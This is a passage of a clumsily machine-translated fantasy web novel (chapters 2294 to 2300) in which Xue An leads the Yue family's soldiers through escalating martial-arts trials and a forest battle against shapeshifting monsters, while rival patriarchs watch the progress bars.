    Because she didn''t intend to grab the first place, as long as she could ensure that the ranking was the same as last time, she would be able to complete the task.


    With this relaxed state of mind, she even turned around and said: "Don''t worry, save your energy, and slowly grind these monsters to death!"


    "Yes!"


    The battle situation became more stable in an instant, Gu Wangya stopped, drew away from the battlefield, and then turned to look at a certain direction.


    She has a special ability, that is, as long as she sees the other side, she can vaguely locate the other side.


    This ability also contributed to her impressive military exploits.


    At this moment, she can conclude that the young man in white who has left a deep impression on her must be above this position.


    "It''s interesting. It seems that this year''s martial arts conference will have many more unpredictable variables!"


    Different families on the battlefield react differently and even more so outside that battlefield.


    This martial arts conference is an ancient ceremony that has been passed down since ancient times, and it has been transformed by a peerless power.


    For example, now, including Yue Qinghuan and the elders of the Yue family, the patriarchs of each family are almost gathered in the martial arts hall, watching the situation on the battlefield through a huge water curtain.


    Watching here is not the kind of live broadcast.


    After all, those who can participate in this military exercise are not mortals. If it is broadcast live, if people outside the battlefield and on the battlefield have some means of communication that can avoid blocking and blockades, wouldn��t it be equivalent to having a God��s perspective on the battlefield? ?


    Out of this consideration, the situation on this battlefield is reacted by a means similar to a progress bar.


    The twelve participating teams have their own progress bars, and each time one item is completed, the progress bar will increase by a bit.


    This intuitively reflects the situation on the court and avoids cheating, which can be described as killing two birds with one stone.


    (End of this chapter)

 Chapter 2295： The second trial

    Chapter 2295 the second trial (second more)


    After entering the hall, people from each family turned their attention to the progress bar representing their own team.


    Then some acquaintances talked.


    "Do you think this year''s martial arts performance, who will win the first trial in the first trial?"


    "I feel that Zhongli''s home is more hopeful, after all, they were the first to complete the trial last year!"


    "I think it''s from the Sima family, they almost became No. 1 in performing martial arts last year!"


    "What you said is wrong. I think the Gu family''s maiden army has sprung up in recent years, and this year will definitely give people a huge surprise!"


    People have different opinions for a while.


    But unlike them, the people from the Yue family have been quietly staying in the corner since they came in, even few people are talking, they have been staring at the big screen.


    After all, the other eleven Patriarchs were there, but the Yue Patriarch did not come, which obviously revealed some interesting information.


    Therefore, many people have been looking at them with strange eyes, and for this reason everyone in the Yue family maintained the most low-key posture.


    At this time, Yue Junze''s father, Yue Hechang, quietly approached Yue Qinghuan and whispered: "Miss San, do you think we...can win this time?"


    Yue Qinghuan shook his head, his expression a little dignified, "I don''t know, although he tried his best to improve the pawn''s strength, after all, the time is still too short, and no one can predict the final result!"


    "Yeah! After all, the time is too short!" Yue Hechang looked at the situation on the big screen with a look of worry in his eyes.


    His only son also entered the trial with Xue An, and he was naturally full of worry.


    At this moment, I heard a laughter with a hint of sarcasm coming over.


    "Why? Is Patriarch Yue absent from such an important occasion? Tsk tsk, it is really pitiful!"


    Following the voice, Sima Chongchao swaggered over.


    Upon hearing his words, the eyes of many elders of the Yue family showed a touch of anger.


    But helplessly, as the Patriarch of the Sima Family, he had a higher status than the Yue Family members present. In order to avoid the situation from intensifying, they could only choose to remain silent.


    But they didn''t want the situation to intensify, but Sima Chongchao didn''t intend to let them go!


    I saw that his gaze finally stayed on Yue Qinghuan in front of him, and a look of surprise and greed flashed in his eyes.


    This Yue Qinghuan is really getting more and more beautiful!


    No wonder my son never forgets her when he tells himself!


    A faint smile appeared on his face, "This must be Miss Yue Qing Huan Yue, why? Didn''t your brother come?"


    Yue Qinghuan frowned slightly.


    She is born to perceive what others think of herself, but she will perceive any maliciousness.


    And now she felt the naked desire to possess from the body of Sima Chongchao.


    This feeling made her almost suffocated, so she took a half step back without moving, and then said in a cold tone.


    "My brother is coming or not, as if not doing your Sima Patriarch''s business!"


    Sima Chongchao smiled, "It seems that it doesn''t matter, but I just express a sigh. After all, Patriarch Yue can endure dozens of military solutions and still refuses to leave. He is no longer an ordinary person!"


    These words at first sounded like they were complimenting Yue Shifang, but they were awkward to hear them.


    At least Yue Qinghuan''s eyes showed anger, and he was about to attack.


    But at this moment, Sima Chong raised his head and looked at the light curtain, smiling rather than smiling: "I heard that you have found a fairy-level guy to be the leader of the Yue family?"


    Yue Qinghuan sneered, "Yes!"


    "If your Yue family is really unmanned, our Sima family can help. After all, we belong to the same military family, and it can''t make you too ugly, right?" Sima Chongchao said with a smile.


    "Hehe, I don''t want to worry about Patriarch Sima, our soldier in charge is enough to take on the big responsibility!"


    "Haha!" Sima Chongchao seemed to have heard some big joke, "You probably don''t believe this when you say it! Don''t talk about it. Seeing that the first trial is nearing the end, there should be no surprises. , Our Sima family will definitely become the first..."


    Sima Chongchao was boasting, just about to brag about the strength of his family''s soldiers.


    But at this moment, a huge wave suddenly threw up in the hall.


    "How can it be!"


    "Gosh, I read it right!"


    Unbelievable voices of questioning one after another.


    Sima Chongchao was taken aback, Huo Ran raised his eyes and looked at him, then he was also dumbfounded.


    Because it was just above the light curtain, the progress bar that represented the Yue family moved forward for a while, and was far ahead of the other eleven.


    "This this����."


    Sima Chongchao, who had just boasted that his family would be the top spot, hadn''t said a complete sentence for a long time.


    But Yue Qinghuan and the others did not taunt him, because they were all surrounded by huge surprises wherever they could care about it now.


    "It really deserves to be the commander in charge personally selected by the Patriarch. It really is a victory!"


    "What I didn''t say, Mr. Xue deserves it!"


    In the voice of praise, Yue Qinghuan''s eyebrows were full of smiles. Although he was praised Xue An, he was happier than praised himself.


    Sima Chong''s face was pale, he felt a little dazed, and he was ready to leave.


    Yue Qinghuan didn''t intend to let him go, only to see Yue Qinghuan smile.


    "Patriarch Sima, didn''t you just fail to say that your family will definitely come out on top? How do you explain it now?"


    Sima Chongchao''s face was already green, and he glanced bitterly at Yue Qinghuan.


    Yue Qinghuan was not afraid of it, and looked like you and me.


    Sima Chongchao gritted his teeth and said with a gloomy weird smile: "Explain what? You are just lucky, and this is only the first trial. The subsequent martial arts are still long. I see how long you can be arrogant! "


    After that, he turned around and left angrily.


    Yue Qinghuan didn''t bother to pay attention to him, but a happy heart settled down slightly.


    Because Sima Chongchao is right, this is just the beginning!


    Xue An doesn''t know about the chaos in the outside world, because at this moment, they have already ushered in the second trial.


    This second trial was not on the battlefield, but a long ropeway without knowing its end.


    The end of the ropeway stretched into the boundless darkness, and the bottomless river was surging with black turbid waves under the ropeway.


    "The second trial officially begins. You have three days to finish the ropeway. Remember one thing, you must act collectively when you go, otherwise you will be buried underwater!"


    That cold voice once again sounded in the hearts of Xue An and others.


    Xue An took a deep breath and murmured: "It is the battle formation that is being tested at first, is it marching now that is being tested?"


    ?? Headache is splitting, I won''t check for typos in these two chapters! Sorry!


    ?


    ????


    (End of this chapter)

 Chapter 2296： Intermediate level performance

    Chapter 2296 Intermediate Level Martial Arts (first more)


    The moment all the soldiers stepped onto the ropeway, the ropeway behind him immediately disappeared into the darkness, leaving only the road in front of him that did not know where it extended.


    Yue Junze looked astonished. He had also heard of the martial arts process, but he had never seen such a trial.


    Xue An''s face sank like water, "Listen to my orders and move forward!"


    The soldiers immediately converted into a marching formation and began to march forward at a very fast speed.


    At the same time, the soldiers of the other eleven families also completed the first trial one after another, and then they appeared in front of them in different scenes, but the purpose was the same. They all tested their marching ability.


    At this time, all these eleven families were also surprised.


    "What''s going on? The previous martial arts are not like this!" The Long Family Commander looked at the dense rain forest in front of him and the winding path in the middle of the rain forest, a little surprised.


    Long Zhan said coldly: "It just wants us to cross this dense forest! Is there any problem?"


    The soldier in charge of the Long Family glanced at Long Zhan, then hesitated to speak.


    "Go!" Long Zhan ignored these at all, and ordered in a deep voice.


    All the soldiers of the Long Family looked at his commander, and he waved his hand helplessly.


    "Stay in formation and move forward!"


    And the moment Long''s family stepped into the dense forest, several other companies made the same choice one after another.


    Zhong Liwuwang said with excitement: "This trial is a bit interesting, young ones, give me a hurry!"


    For a time, the twelve families split up and set off together.


    At the same moment, there was a commotion in the hall.


    "What''s going on? How did this progress bar change?" Someone asked in astonishment.


    Because the progress bar above the light curtain changed from green to orange at the beginning.


    Just as everyone was shocked and puzzled, suddenly an old man with a longevity exclaimed in shock.


    "Medium! This is a medium level of martial arts! My god, I didn''t expect the martial arts field to make another change after a thousand years!"


    The four words "medium performance" made many people tremble.


    Because they all remembered an old legend.


    Legend has it that this martial arts field was built by an amazingly talented power in ancient times. Everything in it is self-contained and controlled by the spirit of unknowable law.


    In the ancient times, because of the tyrannical strength of military strategists, every exercise was almost a mid-level exercise.


    Until later, because of the deteriorating strength of military strategists, the level of martial arts gradually decreased. In the end, many people even did not know that martial arts were actually divided into levels.


    And today''s change reminds many people who have experienced the last glory of military strategists of those past.


    Sima Chongchao''s face was full of seriousness, "What does this mid-level martial arts performance mean?"


    An old man who has lived for thousands of years beside him said solemnly: "It means that the difficulty of performing martial arts will be increased by at least several times, and there will be a cruel elimination system!"


    Sima Chongchao trembled slightly, and a dangerous light flashed in his eyes.


    And everyone from the Yue family in the corner was even more solemn.


    "How could this be? Why did you suddenly become a middle-level performer?" Yue Qinghuan asked with a pale face.


    Yue He Chang''s face was also pale, and he took a deep breath and slowly said, "It should be that the martial arts field detected an existence that could trigger a level change, so it became like this!"


    "Then you mean..."


    "Yes, this martial arts performance is basically the same as usual, the only difference is Xue An''s joining! So he should be the variable!" Yue Hechang said.


    Yue Qinghuan stopped talking, but stared at the light curtain blankly, gradually tightening his heart.


    Because she didn''t know whether this change was a blessing or a curse.


    And just when everyone in the hall was puzzled by the sudden change of martial arts level.


    Xue An led the soldiers of the Yue family for a long distance in the ropeway.


    Nothing happened during this journey, and there seemed to be no obstacles except the roaring black river below.


    Yue Junze only breathed a sigh of relief and chuckled lightly: "It doesn''t seem to be a big deal! It''s just a ropeway, the big deal is just three days away!"


    But as soon as his voice fell, the ropeway under his feet suddenly began to tremble.


    Yue Junze was taken aback. As soon as he wanted to speak, Xue An said in a deep voice, "Be prepared, there will be violent winds!"


    I don''t know what rules in this space are restricting Xue An''s mind, so that he can''t detect the surrounding environment.


    But he still keenly sensed that in the darkness, the roar of the wind faintly came.


    really.


    As soon as his voice fell, a gust of wind suddenly blew towards him.


    This wind is coming so fast, the soldiers of the Yue family have just finished preparing, they have already roared to the front.


    The intensity was so great that even the ropeway began to shake violently.


    Not only that, but the black river water at the foot is also used by the huge wind to set off stormy waves that are enough to swallow everything.


    "Grab steady!" Xue An roared.


    But the sound was soon overwhelmed by the gust of wind.


    Because the speed and power of this wind are beyond the imagination of ordinary people.


    Yue Junze felt as if he had been punched head-on, and he was dizzy and didn''t even notice the tide rushing behind him.


    But at the moment when the tide was about to pounce on everyone, Xue An exhaled and slammed forward with a punch.


    Boom!


    With a loud noise, the giant wave was smashed into a gap, just avoiding the crowd and smashing to the sides.


    But this is just the beginning, because at the same moment, the ropeway behind him suddenly began to disappear, and approached at a very fast speed to the direction where Xue An and others were standing.


    "Everyone immediately grabbed the people around them, and then marched forward!" Xue An sent his voice into the hearts of every soldier with his spirit.


    The soldiers of the Yue family did not panic, and immediately followed Xue An''s instructions to reach out and grab the people on the side, and then stepped forward to face the violent wind and huge waves.


    Although it was difficult to walk, the speed was not so slow But this second trial obviously won''t let them go so easily.


    They had just walked forward only a few miles, and the black sky suddenly began to rain heavily.


    It is said to be heavy rain, but in fact, the river is pouring down from the sky.


    In an instant, everyone was drenched, and the road under his feet became more difficult.


    Yue Junze felt that he couldn''t open his eyes anymore, where could he see the road under his feet.


    When he was in a hurry, suddenly a warm hand was placed on his shoulder, and then Xue An''s voice came.


    "Everyone closes their eyes, one by one will follow me!"


    So everyone moved forward under the guidance of Xue An.


    There are huge waves under the feet, heavy rain on the head, and the disappearing ropeway behind him, and the wind on his side is enough to overturn everything.


    (End of this chapter)

 Chapter 2297： The second trial, win again!

    Chapter 2297 The second trial, win again! (Second more)


    This environment can be described as extremely harsh.


    But even so, it still couldn''t stop Xue An and others from marching.


    But seeing Xue An''s body exudes a bright light, he rushed forward like a sword piercing the darkness.


    And just when everyone in Xue An encountered violent storms, the soldiers of the other eleven families also encountered their own dangers.


    Long Zhan gloomily looked at the big tree that had just been marked. If he remembers correctly, this should be his third time here.


    All the soldiers of the Long Family noticed the strangeness, and stood silently in place.


    The unlucky soldier in charge of the Long Family carefully observed the surrounding environment, and finally said helplessly: "This dense forest is a bit weird. We should be trapped by some kind of force field, so we have been spinning around in circles!"


    Long Zhan licked his dry lips and slammed a punch.


    Click!


    The towering tree broke apart suddenly.


    Then Long Zhan said: "No matter what the force field, we have to go out today. From now on, everyone will move forward in a straight line and destroy any trees that are blocking them!"


    The Commander of the Long Family tried to stop him, but finally shrugged, "Let''s do it then!"


    Next, the soldiers of the Long family collectively transformed themselves into tree-breaking machines, and began to madly destroy all the trees along the way.


    But only a quarter of an hour later, everyone stopped, because a towering tree appeared in front of them.


    The mark left by Long Zhan still remains on it.


    "What''s going on? I obviously destroyed this tree just now!" Long Zhan said in shock.


    The soldier in charge of the Long Family sneered, "If this dense forest is so easy to crack, how can it be the second trial!"


    The Long Family was caught in an unsolvable puzzle.


    On the other side, Zhong Li''s house was also in confusion.


    Zhong Li Wuwang touched his chin, staring at the boundless wilderness in front of him with a sense of wonder.


    After a long time, he said, "Damn, we seem to be lost!"


    All the soldiers under his men: "..."


    "It''s okay, it''s not a problem at all to me, now let''s move in another direction!"


    Zhong Liwu made a big wave of his hand, and everyone turned back and headed in another direction.


    But soon they encountered another problem because a fork in the road appeared ahead.


    Everyone stopped and all looked at the coach Zhong Li Wuwei.


    He grabbed his head, "Damn, this is forcing me to use a trick!"


    As he said, he reached out and took out a small wooden stick in his arms.


    Don''t care why he took this with him, anyway.


    Then he muttered a word and threw it into the air.


    Snapped!


    The stick fell to the ground and pointed to one of the paths.


    Zhong Li Wuwang smiled, picked up the wooden stick, but pointed to the other way.


    "Go here!"


    All the soldiers were a little dumbfounded, and the relatively close squad leader asked in a low voice, "Boss, but the stick pointed to this way!"


    "You don''t understand this, I''m doing the opposite. I can''t let my head coach listen to a wooden stick!" Zhong Li Wuwang said confidently.


    All the soldiers: "..."


    And when Zhong Li Wuwang was having fun playing, Xue An finally walked out of the scope of violent storms, and everything instantly returned to calm.


    Everyone felt the rumbling in their ears, that was the shadow left by the wind.


    But anyway, it came out anyway.


    Xue An let out a sigh of relief. This trek also caused great pressure to him, but he did not stop, but said in a deep voice.


    "Resume the marching formation and move on!"


    Because he knows very well that this test is far from over.


    If you wait for others to relax at this time, you will definitely usher in a greater crisis.


    really.


    When they didn''t go far, the ropeway behind them collapsed, and even the ropeway in front of them formed an upward **** and became steeper and steeper.


    "Full speed ahead!"


    Xue An gave an order, and the soldiers immediately began to gallop.


    Even so, their speed is still getting slower and slower, after all, this is equivalent to climbing on a vertical slope.


    Yue Junze was the first one who couldn''t support it.


    Although he has been training hard for this period of time, after all, the foundation is too bad. In addition, in the second trial scene, he can��t use strength other than his physical strength, so he quickly rushed to the end of his physical strength, and finally far Lags behind.


    At this time, the river below suddenly started to tide.


    And the speed is as fast as it is chasing everyone.


    Yue Junze was desperate because he found that no matter how he ran, he couldn''t exceed the speed of the river''s rising tide.


    Seeing that he was about to be swallowed by the black river, a figure rushed to him at this moment, then put him on his shoulder and threw it forward.


    But because of the interaction, Xue An immediately fell down.


    "Master!" Yue Junze exclaimed in midair.


    There was a commotion among the soldiers, and some people turned around and wanted to come and rescue Xue An.


    Xue An said solemnly at this time: "Don''t worry about me!"


    At the same time, the river was already near.


    Xue An did not panic and stepped on it.


    boom!


    With the water splashing in all directions, Xue An flew up with the help of this counter-shock.


    "Full speed ahead!"


    Everyone was awe-inspiring, and dared not to delay any longer, they rushed forward.


    Finally, they crossed the broken **** formed in the front, and then they were pleasantly surprised to see that a faint light appeared in the front.


    "Is that the end?" Yue Junze said excitedly.


    Xue An had no sorrow or joy, but led the crowd to rush forward.


    at last!


    After getting closer, everyone discovered that the light was actually a faint light curtain.


    After everyone passed through, a cold and majestic voice sounded throughout the martial arts arena.


    "The second trial, the winner Yue Family!"


    This sentence made all the soldiers who were marching in a difficult time stunned, and then a look of horror appeared on their faces.


    It''s the Yue family again!


    If the first trial may be luck, UU reading www. Uukanshu.com then this second trial is a pure strength competition!


    It can be seen that this Yue family does have something extraordinary.


    Zhong Li Wuwang laughed, "Yue Family...it seems that the little guy is really extraordinary!"


    Long Zhan, who had just escaped from the dense forest predicament, knocked down a big tree on the side of the road with a very angry punch, and then roared.


    "Full speed ahead!"


    But what really boils down is in this martial arts hall.


    Looking at the Yue Family''s progress bar, which had exceeded the others by a large amount, many people''s expressions were so gloomy that they could drip water.


    Sima Chongchao''s eyelids beating vigorously, his fists clenched unconsciously, and the cheers of the Yue family came from his ears.


    Yue Qinghuan jumped three feet high, and said cheerfully: "Okay! This time I won again!"


    (End of this chapter)

 Chapter 2298： The third trial opens

    Chapter 2298 the third trial opens (first more)


    Somehow, Sima Chongchao felt that the cheers were so harsh that it made his temples jump.


    "Huh! This is just the beginning, it''s still too early to complete the martial arts trial, be careful for a while to cheer and scream!" Sima Chongchao said sourly.


    However, Yue Qinghuan and others ignored Sima Chongchao at all, and all their attention was attracted by the progress bar on the light curtain.


    Because at this moment, the three lowest-ranked progress bars suddenly changed from orange to gray, and then a cold and majestic voice sounded.


    "Mei family, Cao family, Lu family, knock out!"


    Following the voice, I saw a flash of brilliance on the martial arts field outside the hall, and then the three members of the Mei family, the Cao family, and the Lu family all appeared in the field.


    I saw them all in embarrassment, and the leading soldier was even more pale and embarrassed. Obviously, he didn''t expect that he would be eliminated.


    There was also a commotion in the hall.


    Because this kind of situation has never happened in previous martial arts trials, even if the ranking progress is no matter how backward, the martial arts can finally be completed.


    Where can they be eliminated in the middle like they are now!


    Someone couldn''t help sighing: "This is the difference between the middle-level martial arts and the elementary-level martial arts!"


    "All participants must fight bravely, and if they slack off, they will be ruthlessly eliminated! Unlike the previous play house, now this is the real military exercise game!"


    Everyone was silent upon hearing this.


    Including the three Patriarchs who were eliminated, all bowed their heads, and their faces looked calm.


    Over time, they have lost the spirit of forging ahead, lying in the glory left by their ancestors, unable to extricate themselves.


    This is also the reason why the military strategist is declining day by day.


    Until today, this martial arts conference gave many people a resounding slap in the face and made them sober.


    When everyone in the hall was in deep thought, Xue An in the martial arts field led the Yue family soldiers through the ropeway and successfully reached the third trial.


    What appeared in front of us was an endless wilderness and dense forest.


    But seeing the scattered peaks and gurgling water, the scenery is very pleasant, without the solemn atmosphere of the previous stages.


    But Xue An didn''t have the slightest sense of relaxation, because at the moment he stepped into the third trial, a reminder sounded in his heart.


    "The third level has officially started. It is required to successfully find the supplies scattered in this mountain in one day!"


    The prompt is simple, but the information contained in it is very rich.


    Because this prompt seems very simple at first glance, it just asks you to look for supplies scattered in it.


    But Xue An smelled a different taste from it.


    Why look for supplies? What to do after finding supplies?


    Will there be a follow-up battle?


    If this is the case, finding supplies as soon as possible will have a great advantage in the next battle.


    These thoughts flashed through Xue An''s mind, and he quickly formulated the next plan.


    "The soldiers are divided into three teams, fanned out looking for any suspicious objects, and after finding them, they will wait in place and guard them closely, without error!"


    "Yes!"


    The soldiers suddenly agreed, and then quickly divided into three teams, each with the most capable team leader in charge, and began to go deep into the dense forest.


    That is, not long after Xue An and others entered the jungle, another team arrived.


    The leader was a tall and heroic woman, Gu Wangya.


    As a natural person, she has a strong sense of direction, and can even vaguely perceive the existence of other people''s directions. The rush to the second level is not too simple for her.


    But even so, she still lost to the Yue family.


    This also made her heart full of surprise and dissatisfaction.


    Obviously, I have tried my best to hurry, but why do I still lose?


    However, after reaching the third level, Gu Wangya quickly left these distracting thoughts behind.


    Because she also heard exactly the same prompt.


    As smart as her, she immediately figured out the key points, so she immediately ordered.


    "Disperse quickly, looking for supplies in the dense forest!"


    "Yes!"


    The women''s army yelled in harmony, and then went deep into the dense forest.


    Next, the Long Family and the Sima Family arrived at almost the same moment, and the two sides looked at each other, and then involuntarily entered the dense forest.


    Now is the time when every second counts, no one is in the mood to take care of each other.


    Soon, almost all of the remaining nine soldiers arrived, and only the Zhong family led by Zhong Li Wuwang arrived last.


    After all, relying on the guidance of the small wooden stick along the way, Zhong Li''s family did not go wrong.


    After seeing the long mountains, Zhong Li Wuwang groaned helplessly.


    "Oh my God, why are you on your way again? I hate rushing!"


    Nevertheless, he also understood the importance of this trial, so he immediately ordered his men to separate and advance in the dense forest.


    For a time, nine soldiers were hidden in this huge mountain and wild forest.


    But at this moment, the vegetation over the mountain suddenly began to grow wildly.


    The tall tree quickly rose up and rushed into the sky in the blink of an eye, and at the same time a sparkling iron light appeared on the surface of the trunk.


    The mountain peaks and rivers have also undergone tremendous changes. The bushes are growing, and the grass blades have become extremely sharp, exuding terrifying pressure.


    Naturally, these changes were immediately noticed by the nine soldiers walking through it.


    But before they were puzzled, the cold voice instantly sounded in everyone''s heart.


    "The trial is upgraded. From now on, the forest enters a hostile mode, and allows each other to attack each other. The killed and eliminated will randomly drop supplies!"


    This voice shocked Qi Qi of the nine commanders, and an extremely solemn expression appeared on his face immediately.


    Because this simple sentence means that the difficulty has increased by hundreds or thousands of times.


    Especially the fact that they can immediately drop supplies when attacking each other makes all the soldiers feel cold in their backs.


    "Immediately enter the enemy defense mode, and detect all the surrounding environment at the same time to prevent the grass and the snake!" The Long Family Commander instructed immediately.


    The rest of the soldiers scattered everywhere are no exception.


    And Xue An, who was in the deepest part of the dense forest, was taken aback after hearing this prompt, and even revealed a slight smile that was imperceptible.


    "Interesting, how do you feel that this trial is more and more like a game?"


    As he said, without looking back, he directly ordered with divine thoughts.


    "Attention everyone, then enter the free action mode, remember the guerrilla tactics I taught you, and then... start the hunt!"


    When it came to the word hunting, Xue An''s eyes flashed a bit of killing intent.


    The soldiers of the Yue family who had been lurking in various places in the dense forest nodded together, then silently lurked into the darkness, and disappeared.


    (End of this chapter)

 Chapter 2299： Advanced martial arts mode, attack and kill each other

    Chapter 2299 advanced martial arts mode, attack each other (second more)


    The entire mountain forest fell silent immediately, with only the faint sound of the wind blowing over the treetops.


    The huge mountain peak has been shrouded in a purple mist that does not know when it will be diffused, and a terrible power has enveloped the entire battlefield.


    At the same time, there was a huge uproar in the martial arts hall.


    "What''s the matter with this progress bar? Why does it become this color?" someone exclaimed.


    However, the nine progress bars remaining above the light curtain have turned into a dazzling blood red.


    People were all panicked, wondering what happened.


    And the old man who recognized the middle-level martial arts was already shaking at this moment, and his lips trembled crazily, and said tremblingly.


    "High... Advanced martial arts! God, it''s an advanced martial arts that has never appeared in 10,000 years!"


    As soon as this remark came out, the audience was silent.


    Advanced martial arts!


    This term can only exist at the Patriarch level and has been seen in some ancient classics. As for other young people, it is simply unheard of!


    But the more so, the more the term is full of mystery.


    Someone asked in a low voice: "What is advanced performance?"


    The old man took a deep breath and slowly said, "This martial arts field was built by an ancient military master. The level of martial arts is controlled by the spirit of rules, and outsiders can''t interfere at all."


    "Thousands of years ago, when the military was in its heyday, almost every martial arts performance was a mid-level martial arts performance, but for various reasons later, elementary martial arts performance became the norm."


    "But I was fortunate to listen to my master''s introduction. Just ten thousand years ago, when this martial arts field was just built, the martial arts performance at that time was a high level!"


    "Then is there any difference between this high-level and medium-level?" Long Yushu, who hadn''t spoken since entering the field, suddenly asked.


    The old man smiled bitterly: "Of course there is a difference, and it''s still a big difference!"


    "Elementary is nothing more than a test of the basic abilities of the soldiers, while the intermediate starts to involve battlefield skills and are eliminated, and the advanced..."


    The old man swallowed with difficulty, "It is the secret skills of the highest level military strategist that are involved, and at the same time, death is allowed!"


    "What? Killed?"


    "That''s right!" The old man nodded, "That is to say, if this person is killed in battle in the martial arts field at this moment, then this person will be absorbed by the spirit of rules inside, completely annihilated!"


    As soon as these words came out, everyone''s discoloration changed.


    Yue Qinghuan''s complexion quickly turned pale.


    Because she didn''t expect things to suddenly become like this!


    If Xue An and the soldiers of the Yue family had something to do in it.......


    The consequences are simply unimaginable!


    "What should I do! My son is still inside!"


    "Yes, my blood is also in it, but that is the successor I carefully cultivated. If this is dead, it will be a big trouble!"


    "Is there a way to stop the present martial arts?" Sima Tiancheng asked suddenly.


    The old man shook his head, "Impossible, if it is the elementary level of martial arts, you can also stop forcibly, but once you enter the advanced state, then no external force can intervene. Only after the end of the martial arts can everything stop!"


    Everyone was silent, and then involuntarily looked at the dazzling blood red progress bar on the light curtain.


    Who could have imagined that a seemingly ordinary martial arts performance would evolve into what it is now!


    Yue Qinghuan clenched his fists secretly, sweat in his palms.


    Xue An...you have to come on!


    The breeze gently moved the treetops, and the sun-like star in the sky was gradually converging its rays.


    Under the cover of the tall trees, it darkens faster in the dense forest!


    Some shimmering shrubs added a touch of horror to the darkness.


    And in the shadow that can be seen everywhere, there are several monsters sneaking.


    These monsters look like humans at first glance, but they have no facial features, and at the same time their entire body is covered by light green branches, as if wearing a layer of invisible armor, moving fast in the dense forest.


    Soon, they appeared behind a few soldiers of the Long Family, and then quietly leaned forward. They didn''t even pick up the slightest wind during the action, which looked like ghosts.


    Puff puff!


    Before these soldiers even had time to hum, they were pierced through their heads by the arms of these monsters.


    The blood mixed with brains just poured out and penetrated into the skin of these monsters.


    In the blink of an eye, these soldiers were turned into corpses alive and turned into ashes when they fell to the ground.


    After all this was done, the bodies of these monsters shook slightly, and then noses and ears emerged from the faces without facial features, and eyes and mouths quickly evolved.


    In the blink of an eye, they turned into the soldiers who had just died, and then moved forward quickly, before they merged into the Long Family''s large army.


    At this moment, Long Zhan was on the verge of rage.


    Because he really didn''t understand why he clearly wanted to kill Xue An, but he was frustrated again and again after such a simple matter.


    Nowadays, I have to sneak in this damned dense forest.


    This made his heart full of anger.


    The soldier in the Long Family naturally saw his dissatisfaction and sneered a few times in his heart, but ignored him.


    After all, he is the paternal parent''s most beloved son, so he can''t provoke him.


    The most important thing now is to find supplies in this dense forest and kill all other soldiers that can be seen.


    But after traveling for so long, let alone supplies, I didn''t even see a person.


    Even so, this soldier did not dare to take it lightly.


    At this moment, the soldiers pretending to be monsters came back.


    As soon as he saw them, the soldier in charge immediately asked: "How is it? Can you detect signs of people moving around?"


    These soldiers shook their heads, but did not speak, but stepped forward.


    This soldier was taken aback for a moment, and suddenly he felt a little puzzled.


    what happened?


    Why are these pawns weird?


    Although doubts in my mind, UU reading www. Uukanshu.com, but the commander did not suspect him, but he said in a deep voice: "Why don''t you speak? Is it dumb?"


    The voice just fell, but seeing the soldier who was walking in the front slammed forward, his arm instantly turned into a green vine, and he plunged straight into the soldier.


    The soldier in charge never dreamed that his men would attack him.


    Unexpectedly, he only had time to dodge a little aside, but he was still thrust directly into his shoulders by the vine.


    puff!


    After a muffled noise.


    The soldier in charge let out a depressive growl because it was so painful.


    Not because the arm was injured, but because the vine immediately turned into flying silk after entering the body, and then drilled upward along the blood vessels and meridians.


    But being able to become the commander of the Long Family, this person is also extraordinary, I saw that he didn''t even hesitate, and with a wave of his other hand, he directly cut off the arm inserted by the vine along the root.


    (End of this chapter)

 Chapter 2300： Fight in the dense forest

    Chapter 2300 Killing In The Jungle (first more)


    Blood rushed out, but somehow it cut off the attack of these vines.


    "What the **** is this?" The Commander of the Long Family roared, clutching his wound.


    At the same time, these monsters saw a miss, and immediately turned their target to the other pawns beside them.


    In an instant, countless vines danced in the sky, screaming again and again wherever they passed, and in an instant, dozens of soldiers were drained and killed.


    Seeing this scene, the commander of the Long Family''s soldiers was almost distraught, raised only one hand and launched a counterattack against these monsters.


    But because of the lack of an arm, his strength was greatly reduced, and these monsters were extremely fast, so they couldn''t help them.


    At this moment, I saw a fist soaring into the sky, directly blasting the stern vines that had already blocked the sky through a big hole.


    "Hiss!" These monsters wailed in pain.


    And Long Zhan slowly retracted his fist and snorted coldly, "It turned out to be nothing but you!"


    When he said that, he flew up, chasing and killing these monsters like a ruin.


    Under the bombardment of his fist, these monsters were quickly wiped out and turned into flying ashes.


    After finishing all this, Long Zhanzhi fell to the ground triumphantly.


    All the soldiers of the Long Family who were still in shock all looked at him with awe, which made him even more proud, and then looked at the soldier whose face was pale because of excessive blood loss.


    "You were too careless. You let these monsters get close, and now you are seriously injured. You must be unable to command this soldier. Let me come!"


    Hearing these words, the soldier pursed his lips. He wanted to say something, but finally lowered his head helplessly.


    "Yes!"


    Long Zhan was vigorous and pointed forward, "Listen to my orders, don''t have to hide your figure, go ahead at full speed!"


    Military orders are like mountains.


    For a time, these Long Family soldiers abandoned their previous sneak posture and strode towards the depths of the dense forest.


    At the same time, the rest of the soldiers were also attacked by these monsters, and almost all suffered heavy losses when they were caught off guard.


    Except for the Yue family.


    Of course, this is not to say that the Yue family did not encounter monsters.


    On the contrary, because of their position at the top, they encountered more monsters than the other eight.


    However, these monsters cannot be destroyed by killing individual pawns and then disguising them as they did when dealing with the Long Family.


    Because Xue An had considered this possibility when he was training soldiers, so he ingeniously transformed the function that can communicate the spirit of the whole team on Dayin into a dialogue channel.


    When dispersing and advancing, or performing guerrilla tactics, each soldier must speak an unfixed secret word in this dialogue channel within a specified time.


    In this way, the possibility of other people''s impersonation is completely eliminated. After all, you can impersonate your looks, but you can''t even impersonate your secret words.


    really.


    When encountering this kind of monster this time, this method played a huge role.


    These monsters only killed the three soldiers of the Yue family who acted alone, and then they were quickly noticed by Xue An, and then he approached the past calmly and directly killed them.


    Therefore, the Yue family should be regarded as the least loss in this wave of attacks.


    Even so, Xue An still increased his vigilance.


    Because he vaguely felt that these monsters that could pretend to be humans had a trace of evil.


    Could it be that the builders of this martial arts field are also related to evil things?


    These questions boiled in Xue An''s heart, but they did not prevent him from wandering in the dense forest like a ghost, and beheaded every soldier he saw.


    In fact, for Xue An, who is good at guerrilla tactics, this dense forest is simply a perfect hunting ground.


    No one can fight Xue An in this environment.


    Therefore, in just a few moments, the number of monsters and other soldiers who died under Xue An has reached as many as dozens.


    Xue An was a little bit astonished by the falling supplies.


    Half a piece of fine gold armor, a black gold dagger, and a healing pill.


    This is the best result, the other is some weird little things.


    However, in the process, Xue An discovered that the quality of the supplies dropped was closely related to the strength of these soldiers.


    The stronger the stronger, the higher the quality of the supplies dropped.


    This couldn''t help making Xue An''s mouth a faint smile.


